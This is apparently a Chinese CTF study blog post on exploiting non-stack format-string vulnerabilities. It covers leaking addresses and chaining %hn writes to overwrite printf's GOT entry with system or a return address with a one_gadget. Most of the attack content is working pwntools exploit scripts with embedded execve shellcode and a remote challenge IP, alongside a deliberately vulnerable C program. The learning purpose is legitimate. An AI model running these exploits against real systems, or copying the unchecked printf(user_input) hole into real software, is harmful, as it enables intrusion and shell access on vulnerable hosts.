pwn入门-非栈上格式化字符串

星盟

one_gadget的一些姿势 - unr4v31 - 博客园

非栈上分两种情况。一在bss段上,二在堆上

image-20250112102102464

跟栈上的区别是,比如网鼎杯那道题,是直接往栈上能写pritf的got地址,然后去修改,而这里不行

改ret地址中的libc start main为onegadget(难度简单,可能onegadget失效)

改printf的got为system/onegadget(难度中等,通杀)也就是下面的四马分肥

libc可以查看libc地址

image-20250112104253859

image-20250112104419832

image-20250112104534479

image-20250112105021202

然后改第二个把9c改成ac

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding: utf-8 -*-
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
# context.terminal=['tmux','splitw','-h']
# context(arch='amd64', os='linux')
context(arch='i386', os='linux')
local = 1
elf = ELF('./playfmt')
if local:
p = process('./playfmt')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
#more onegadget
#one_gadget -l 200 /lib/x86_64-linux-gnu/libc.so.6
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
one32 = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'


sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def ms(name,addr):
print name + "---->" + hex(addr)

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

# with open('1.txt','wb+') as f:
# s = ""
# for i in shellcode:
# s += "0x" + i.encode("hex")
# for i in s:
# f.write(i)

ru("Server")
ru("=====================")
# debug(0x0804853B,0)
sl("aaaa%6$pbbbb%15$p")
ru("aaaa")
stack = int(rc(10),16)
ms("stack--->",stack)
ru("bbbb")
libc_base = int(rc(10),16)-0x18647
ms("libc--->",libc_base)
onegadget = libc_base + one32[1]
system = libc_base + libc.sym["system"]
ms("system--->",system)
printf_got = 0x804A010
stack1 = stack-0xc
stack2 = stack+0x4
ms("stack1--->",stack1)
ms("stack2--->",stack2)

py = ''
py += "%"+str((stack1)&0xff)+"c"+"%6$hhn"
sl(py)

py = ''
py += '%' + str(printf_got&0xffff)+ "c"+ "%10$hn"

sl(py)
# 保证完全写入了,校验,这一部分代码的作用是确保先前通过格式化字符串完成的内存写入操作确实生效。在某些情况下(例如缓冲区或协议特性),数据发送和处理可能会有延迟,导致写入操作未完全同步。

while True:
sl("King")
sleep(0.01)
data = p.recv()
if data.find("King") != -1:
break

py = ''
py += "%"+str((stack2)&0xff)+"c"+"%6$hhn"
sl(py)

py = ''
py += '%' + str((printf_got+2)&0xffff)+ "c"+ "%10$hn"
# debug(0x0804853B,0)
sl(py)

py = ''
py += "%"+str((system>>16)&0xff)+"c"+"%11$hhn"
py += "%"+str(((system)&0xffff)-((system>>16)&0xff))+"c"+"%7$hn"
# debug(0x0804853B,0)
sl(py)

sl("/bin/sh")

p.interactive()

第二种方法,改Ret地址

image-20250112110052262

走一遍看看调的是哪个返回地址,改成onegadget

0x98改0xac

然后相改地位两个字节,再改高位1个字节

32需要修复ebp,64位不用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# -*- coding: utf-8 -*-
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
# context.terminal=['tmux','splitw','-h']
# context(arch='amd64', os='linux')
context(arch='i386', os='linux')
local = 1
elf = ELF('./playfmt')
if local:
p = process('./playfmt')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
#more onegadget
#one_gadget -l 200 /lib/x86_64-linux-gnu/libc.so.6
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
one32 = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'


sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def ms(name,addr):
print name + "---->" + hex(addr)

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

# with open('1.txt','wb+') as f:
# s = ""
# for i in shellcode:
# s += "0x" + i.encode("hex")
# for i in s:
# f.write(i)

ru("Server")
ru("=====================")
# debug(0x0804853B,0)
sl("aaaa%6$pbbbb%15$p")
ru("aaaa")
stack = int(rc(10),16)+0x24
ms("stack--->",stack)
ru("bbbb")
libc_base = int(rc(10),16)-0x18647
ms("libc--->",libc_base)
onegadget = libc_base + one32[1]
ms("one--->",onegadget)
#先把栈上的libc_start_main改成onegadget
py = ''
py += "%"+str((stack)&0xff)+"c"+"%6$hhn"

sl(py)

py = ''
py += '%' + str(onegadget&0xffff)+ "c"+ "%10$hn"

sl(py)


py = ''
py += "%"+str((stack+2)&0xff)+"c"+"%6$hhn"

sl(py)

py = ''
py += "%"+str((onegadget>>16) & 0xff) + "c"+ "%10$hhn"
sl(py)
# while True:
# sl("King")
# sleep(0.01)
# data = p.recv()
# if data.find("King") != -1:
# break
# pause()
#32位需要修复ebp
py = ''
py += "%"+str((stack-0x14)&0xff)+"c"+"%6$hhn"
# debug(0x0804853B,0)
sl(py)

# pause()
sl("quit")
p.interactive()

你想有多pwn

这个下面写的很烂,建议别看

四马分肥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char buf[200] ;

void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}

void play(){
puts("hello");
do_fmt();
return;
}

int main(){
/* init_func(); */
play();
return 0;
}
//gcc fmt_str_level_2.c -z lazy -o fmt_str_level_2_x64
//gcc -m32 fmt_str_level_2.c -z lazy -o fmt_str_level_2_x86

漏洞分两类

  1. 溢出
  2. 歧义:小明告诉小红说”我”今天晚上出去吃饭

在漏洞场景中,格式化字符串本身可以由用户输入,比如:

1
printf(user_input);  // 用户输入 "Hello %x %x"

此时,printf 并不知道哪些参数是由用户提供的,哪些是程序设定的。

%7 是由用户输入的内容,printf 不知道这个是格式符号的一部分,还是用户输入的参数。

歧义的产生:

  • 比如用户输入了:"%7$n"
    • 查找栈上第七个参数(假设这是一个地址)。
    • 然后将已输出字符的长度写入这个地址中。
  • 但程序本身并没有特别设置第七个参数,这就产生了歧义:
    • 对于程序:它认为第七个参数是正常的函数参数。
    • 对于攻击者:第七个参数实际上是攻击者伪造的地址,输入已经被攻击者控制。

image-20250110095244772

非栈上就是在你输入的在一个低地址的地方

无法利用歧义,因为找不到一个地址去做

image-20250110095520786

安全研究:HOUSE_OF_FMT - FreeBuf网络安全行业门户

64位rsp肯定是第六个参数

第一种模式:

利用现有的main,把got表printf,0x555555558028,不管开没开PIE最后三位肯定不变

image-20250110143640693

image-20250110144214103

image-20250110144125008

image-20250110144500036

image-20250110150623191

image-20250110144822291

师傅说的:%7$n%s并不是直接把0x55555555552a1修改,而是把参数里的值当作一个指针去改,一定要有个人指它,才能通过指的去改,因为这个内容是不可写的,它只能去改它指向的内容

不太理解师傅讲的,我再解释解释:

首先0x5555555552a1是个内存地址,在代码段,是不可写的()

看之前的也知道,输入输到了bss段中

image-20250110152157156

这些类似的5555开头的地址,之前查FFFF是极限了(65535)

printf_got:0x555555558028-0x55555555802f这么8个字节分成4份

回归正题:

1
2
3
4
栈地址             内容                     含义
------------------------------------------------------
0x7fffffffde40 -> 0x7fffffffde48 第 7 个参数,指向栈上的 `0x7fffffffde48`
0x7fffffffde48 -> 0x5555555552a1 指向目标地址

我们想把0x5555555552a1修改成8028不是直接去改0x5555555552a1的,而是当 printf 处理 %7$n 时:它会将当前输出的字符数写入第 7 个参数指向的地址,48所指向的地址是0x5555555552a1。

我们可以把0x5555555552a1修改成危险地址

也就是我们需要在内存中找一个三连的,

image-20250110153414084

  1. 使用现有的三连指针将最低z位改成存储待修改值得地址
  2. 修改待修改的值为got表项的最低位
  3. 以上步骤*4,
  4. 一次性修改所有的内容,将got表项值改成system
  5. 传入/bin/sh\x00

image-20250110154047811

image-20250110155249083

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
pwnfile = './fmt_str_level_2_x64'
io = process(pwnfile)
# io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

dem = 'hello\n'
libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

io.recvuntil(dem)

payload4searchbase = b"%9$p\x00"
io.send(payload4searchbase)

pause()

main_28 = int(io.recv()[2:14],16)
file_base = main_28 -elf.symbols['main'] - 28
print("file_base is :",hex(file_base))

printf_got = file_base + elf.got["printf"]

payload_search_stack = b'%6$p\x00'
io.send(payload_search_stack)

stack_offset_1 = -0x8
stack_offset_2 = 0x8
stack_offset_3 = 0x38
stack_offset_4 = 0x50
stack = int(io.recv()[2:14],16)
stack_1 = stack + stack_offset_1
stack_2 = stack + stack_offset_2
stack_3 = stack + stack_offset_3
stack_4 = stack + stack_offset_4

print("stak_addr:",hex(stack))
print("stack_1_addr:",hex(stack_1))
print("stack_2_addr:",hex(stack_2))
print("stack_3_addr:",hex(stack_3))
print("stack_4_addr:",hex(stack_4))

# 修改三链
nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
io.interactive()
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)

gdb.attach(io)

io.interactive()

其实到这我已经懵了,看了很多文章最后才理解 0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import duchao_pwn_script
arch = 'amd64'
duchao_pwn_script.init_pwn_linux(arch)
pwnfile= './fmt_str_level_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc =elf.libc

# 泄露基地址,包含1.文件基地址,2.libc基地址
dem = 'hello\n'
io.recvuntil(dem)
payload4searchbase = b"%9$p\x00"
io.send(payload4searchbase)
main_28 = int(io.recv()[2:14],16)
file_base = main_28 -elf.symbols['main'] - 28
print("file_base is :",hex(file_base))
printf_got = file_base + elf.got["printf"]
payload4searchlibc = b"%11$p\x00"
io.send(payload4searchlibc)
libc_start_main_243 = int(io.recv()[2:14],16)
libc_base = libc_start_main_243 - libc.symbols['__libc_start_main'] - 243
print("libc_base is :",hex(libc_base))
sys_addr = libc_base + libc.symbols["system"]


# 泄露栈地址
payload_search_stack = b'%6$p\x00'
io.send(payload_search_stack)
stack_offset_1 = -0x8
stack_offset_2 = 0x8
stack_offset_3 = 0x38
stack_offset_4 = 0x50
stack = int(io.recv()[2:14],16)
stack_1 = stack + stack_offset_1
stack_2 = stack + stack_offset_2
stack_3 = stack + stack_offset_3
stack_4 = stack + stack_offset_4


# 修改三链
nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)
io.interactive()

nu_2 = stack_2 & 0xffff
payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 2) & 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

nu_3 = stack_3 & 0xffff
payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()
printf_got_nu_3 = (printf_got + 4) & 0xffff
payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()


nu_4 = stack_4 & 0xffff
payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 6)& 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

这个叫四马分肥

什么意思?

由于我们通常是利用格式化字符串漏洞将printf_got表地址写为system函数地址,那我这里就以这两个地址为例。

我们要将printf_got的地址放到栈上,但是这时候我们的格式化字符串不存在于栈上,那我们的地址就不能通过我们写的时候传进去,我们需要利用漏洞,将栈上原来存在的地址,修改为printf_got地址,这样我们再次利用格式化字符串漏洞,就可以将printf_got修改为system函数的地址。那这里为什么又要叫四马分肥呢?因为我们printf_got地址通常情况下比较大,我们分别在栈上找四个地址,然后将其修改为printf_got,printf_got+2,printf_got+4,printf_got+6,然后我们每次只写入两个字节,这样我们就可以正常覆写数据了。(其实高位通常都是0,是不需要修改的)

在这里在栈上寻找怎样的地址修改为printf_got的地址呢?其实这里也是有技巧的,我们通常会找那些与printf_got高位相同的地址。

%hn 用来将一个整数写入到栈上指定的地址,写入的内容是该地址指向的 2 字节(16 位)。通过这种方式,你可以逐步修改存储在栈上的 16 位地址(每次只能修改 2 字节)。

为什么每次只能修改 16 位:由于 %hn 只能写入 2 字节(16 位),所以需要分多次来修改 64 位地址。你会通过分别修改栈上 4 个 16 位的部分(低 16 位、次低 16 位、次高 16 位和高 16 位),将原本存储 printf_got 的地址修改为 system 函数的地址。

**如何实现修改 printf_gotsystem**:

首先,你通过格式化字符串漏洞泄露了栈上的一些地址(比如 printf_got 的地址)。然后,你计算出 system 函数的地址,并将这个地址拆分成 4 个 16 位的部分。接着,你通过 %hn 逐个修改栈上的每个地址部分。

  • 假设 printf_got地址是 0x7fffffffde50拆分成:

    • printf_got 的低 16 位:0x50
    • printf_got 的次低 16 位:0xde,
    • printf_got 的次高 16 位:0x7f,
    • printf_got 的高 16 位:0x7f
  • system 函数地址为 0x7ffff7a34b50。将 system 的地址拆分成 4 个 16 位部分:

    • system 地址低 16 位:0xb50
    • system 地址次低 16 位:0x4b5
    • system 地址次高 16 位:0x7a3
    • system 地址高 16 位:0x7f7

但实际上我们是通过指针来完成修改的,并不是直接修改

参考:浅谈非栈上格式化字符串 - Kee02p - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
# 泄露栈地址
payload_search_stack = b'%6$p\x00'
io.send(payload_search_stack)
stack_offset_1 = -0x8
stack_offset_2 = 0x8
stack_offset_3 = 0x38
stack_offset_4 = 0x50
stack = int(io.recv()[2:14],16)
stack_1 = stack + stack_offset_1
stack_2 = stack + stack_offset_2
stack_3 = stack + stack_offset_3
stack_4 = stack + stack_offset_4

这个payload_search_stack是三链中间那个地址,因此要根据它计算偏移

1
2
3
4
5
6
7
8
# 修改三链
nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
io.interactive()
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)

这一部分代码主要在 修改三链,具体来说是利用格式化字符串漏洞来实现将某个栈上的指针修改为指向 printf_got 地址的低 16 位。

这个可以分为两部分:

第一部分

1
2
3
4
nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
io.interactive()

目的: 修改栈上的第 6 个指针(%6$hn 指定栈上的第 6 个地址)为 stack_1 的低 16 位。

  • stack_1 是栈上的某个地址。
  • nu_1 = stack_1 & 0xffff 提取了 stack_1 的低 16 位值。
  • payload_1 通过格式化字符串漏洞写入 nu_1 到第 6 个栈地址指向的地方。
  • %6$hn:这是格式化字符串的写入操作,表示将格式化字符串计算的结果(nu_1 的值)写入到第 6 个栈地址指向的内存位置。
  • 执行完这一步后,栈上的第 6 个指针被修改为指向 stack_1 的低 16 位。

image-20250110225725203

第二部分

1
2
3
4
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)
io.interactive()

目的: 修改栈上的第 8 个指针(%8$hn 指定栈上的第 8 个地址)为 printf_got 的低 16 位地址。

  • printf_gotprintf 的 GOT 表地址。
  • printf_got_nu_1 = printf_got & 0xffff 提取了 printf_got 的低 16 位。
  • payload_1 构造一个格式化字符串,利用格式化漏洞,将 printf_got_nu_1 的值写入到第 8 个栈地址指向的位置。
  • %8$hn:将格式化字符串计算的结果写入第 8 个栈地址指向的内存位置。
  • 执行完这一步后,栈上的第 8 个指针被修改为 printf_got 的低 16 位。

image-20250110232025696

image-20250110232638721

本质上类似构建一个链表,如上图

  • 让b0指向a8,然后修改第8个栈上的指针(a8)指向printf_gof的最前16位
  • 让b0指向b8,然后修改第8个栈上的指针(b8)指向printf_gof的次前16位

不觉得有点类似链表吗?

head->a(指向printf最前16位)

head->b(指向printf次前16位)->a(指向printf最前16位)

head->c->b(指向printf次前16位)->a(指向printf最前16位)….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
pwnfile = './fmt_str_level_2_x64'
io = process(pwnfile)
# io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

dem = 'hello\n'
libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

io.recvuntil(dem)

payload4searchbase = b"%9$p\x00"
io.send(payload4searchbase)

main_28 = int(io.recv()[2:14],16)
file_base = main_28 - elf.symbols['main'] - 28
print("file_base is :",hex(file_base))

printf_got = file_base + elf.got["printf"]

payload4searchlibc = b"%11$p\x00"
io.send(payload4searchlibc)
libc_start_main_243 = int(io.recv()[2:14],16)
libc_base = libc_start_main_243 - libc.symbols['__libc_start_main'] - 243
print("libc_base is :",hex(libc_base))
sys_addr = libc_base + libc.symbols["system"]

payload_search_stack = b'%6$p\x00'
io.send(payload_search_stack)

stack_offset_1 = -0x8
stack_offset_2 = 0x8
stack_offset_3 = 0x38
stack_offset_4 = 0x50
stack = int(io.recv()[2:14],16)
stack_1 = stack + stack_offset_1
stack_2 = stack + stack_offset_2
stack_3 = stack + stack_offset_3
stack_4 = stack + stack_offset_4

print("stak_addr:",hex(stack))
print("stack_1_addr:",hex(stack_1))
print("stack_2_addr:",hex(stack_2))
print("stack_3_addr:",hex(stack_3))
print("stack_4_addr:",hex(stack_4))

# 修改三链
nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)

printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)

nu_2 = stack_2 & 0xffff
payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 2) & 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
io.interactive()

nu_3 = stack_3 & 0xffff
payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
io.interactive()
printf_got_nu_3 = (printf_got + 4) & 0xffff
payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
io.interactive()

nu_4 = stack_4 & 0xffff
payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 6)& 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)

io.interactive()

sys_addr_1 = sys_addr & 0xffff
sys_addr_2 = (sys_addr >> 16)& 0xffff
sys_addr_3 = (sys_addr >> 32)& 0xffff
sys_addr_4 = (sys_addr >> 48)& 0xffff
print("system is :",hex(sys_addr))
print("system_addr1 is :",hex(sys_addr_1))
print("system_addr2 is :",hex(sys_addr_2))
print("system_addr3 is :",hex(sys_addr_3))
print("system_addr4 is :",hex(sys_addr_4))

# 一次性修改got表项
payload = b"%" + str(sys_addr_1).encode("utf-8") + b"c%7$hn"
payload += b"%" + str(0x10000 + sys_addr_2 - sys_addr_1).encode("utf-8") + b"c%9$hn"
payload += b"%" + str(0x10000 + sys_addr_3 - sys_addr_2).encode("utf-8") + b"c%15$hn"
payload += b"\x00"
io.send(payload)
# duchao_pwn_script.dbg(io)
io.interactive()

#发送/bin/sh
io.send( b'/bin/sh\x00')
io.interactive()

head->c->b(指向次前16位)->a(指向最前16位)….

最后把system的地址也写入

head->d(指向printf最后16位)->c(指向printf次后16位)->b(指向printf次前16位)->a(指向system最前16位)….

head->d(指向printf最后16位)->c(指向printf次后16位)->b(指向system次前16位)->a(指向system最前16位)….

head->d(指向printf最后16位)->c(指向system次后16位)->b(指向system次前16位)->a(指向system最前16位)….

head->d(指向system最后16位)->c(指向system次后16位)->b(指向system次前16位)->a(指向system最前16位)

最后没打通(可能因为交互的原因)

image-20250111144358964

image-20250111144448178

内存要有和addr除最低2字节其余部分要一样的地址x643个,x86两个

诸葛连弩

找offset1->offset2 -> offset3 -> offset4

如果没有,则找3+2拼起来